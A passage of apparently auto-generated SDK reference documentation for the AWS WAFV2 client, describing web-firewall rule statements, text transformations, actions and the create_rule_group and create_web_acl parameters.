(dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nSizeConstraintStatement (dict) --A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes.\nIf you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes.\nIf you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nComparisonOperator (string) -- [REQUIRED]The operator to use to compare the request part to the size setting.\n\nSize (integer) -- [REQUIRED]The size, in byte, to compare to the request part, after any transformations.\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nGeoMatchStatement (dict) --A rule statement used to identify web requests based on country of origin.\n\nCountryCodes (list) --An array of two-character country codes, for example, [ 'US', 'CN' ] , from the alpha-2 country ISO codes of the ISO 3166 international standard.\n\n(string) --\n\n\n\n\nRuleGroupReferenceStatement (dict) --A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement.\nYou cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the entity.\n\nExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\nIPSetReferenceStatement (dict) --A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet .\nEach IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the IPSet that this statement references.\n\n\n\nRegexPatternSetReferenceStatement (dict) --A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet .\nEach regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nRateBasedStatement (dict) --A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests.\nWhen the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit.\nYou can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements:\n\nAn IP match statement with an IP set that specified the address 192.0.2.44.\nA string match statement that searches in the User-Agent header for the string BadBot.\n\nIn this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule.\nYou cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nLimit (integer) -- [REQUIRED]The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement.\n\nAggregateKeyType (string) -- [REQUIRED]Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses.\n\nScopeDownStatement (dict) --An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement.\n\n\n\nAndStatement (dict) --A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with AND logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nOrStatement (dict) --A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with OR logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nNotStatement (dict) --A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement .\n\nStatement (dict) --The statement to negate. You can use any statement that can be nested.\n\n\n\nManagedRuleGroupStatement (dict) --A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups .\nYou can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nVendorName (string) -- [REQUIRED]The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group.\n\nName (string) -- [REQUIRED]The name of the managed rule group. You use this, along with the vendor name, to identify the rule group.\n\nExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\n\n\nAction (dict) --The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting.\nThis is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nYou must specify either this Action setting or the rule OverrideAction setting, but not both:\n\nIf the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting.\nIf the rule statement references a rule group, use the override action setting and not this action setting.\n\n\nBlock (dict) --Instructs AWS WAF to block the web request.\n\nAllow (dict) --Instructs AWS WAF to allow the web request.\n\nCount (dict) --Instructs AWS WAF to count the web request and allow it.\n\n\n\nOverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nSet the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings.\nIn a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both:\n\nIf the rule statement references a rule group, use this override action setting and not the action setting.\nIf the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting.\n\n\nCount (dict) --Override the rule action setting to count.\n\nNone (dict) --Don\'t override the rule action setting.\n\n\n\nVisibilityConfig (dict) -- [REQUIRED]Defines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n\n\n\n\n :type VisibilityConfig: dict :param VisibilityConfig: [REQUIRED]\nDefines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n :type Tags: list :param Tags: An array of key:value pairs to associate with the resource.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA collection of key:value pairs associated with an AWS resource. The key:value pair can be anything you define. Typically, the tag key represents a category (such as 'environment') and the tag value represents a specific value within that category (such as 'test,' 'development,' or 'production'). You can add up to 50 tags to each AWS resource.\n\nKey (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag key to describe a category of information, such as 'customer.' Tag keys are case-sensitive.\n\nValue (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag value to describe a specific value within a category, such as 'companyA' or 'companyB.' Tag values are case-sensitive.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } Response Structure (dict) -- Summary (dict) -- High-level information about a RuleGroup , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage a RuleGroup , and the ARN, that you provide to the RuleGroupReferenceStatement to use the rule group in a Rule . Name (string) -- The name of the data type instance. You cannot change the name after you create the instance. Id (string) -- A unique identifier for the rule group. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the rule group that helps with identification. You cannot change the description of a rule group after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def create_web_acl(Name=None, Scope=None, DefaultAction=None, Description=None, Rules=None, VisibilityConfig=None, Tags=None): """ Creates a WebACL per the specifications provided. A Web ACL defines a collection of rules to use to inspect and control web requests. Each rule has an action defined (allow, block, or count) for requests that match the statement of the rule. In the Web ACL, you assign a default action to take (allow, block) for any request that does not match any of the rules. The rules in a Web ACL can be a combination of the types Rule , RuleGroup , and managed rule group. You can associate a Web ACL with one or more AWS resources to protect. The resources can be Amazon CloudFront, an Amazon API Gateway API, or an Application Load Balancer. See also: AWS API Documentation Exceptions :example: response = client.create_web_acl( Name='string', Scope='CLOUDFRONT'|'REGIONAL', DefaultAction={ 'Block': {} , 'Allow': {} }, Description='string', Rules=[ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {} , 'Allow': {} , 'Count': {} }, 'OverrideAction': { 'Count': {} , 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], VisibilityConfig={ 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type Name: string :param Name: [REQUIRED]\nThe name of the Web ACL. You cannot change the name of a Web ACL after 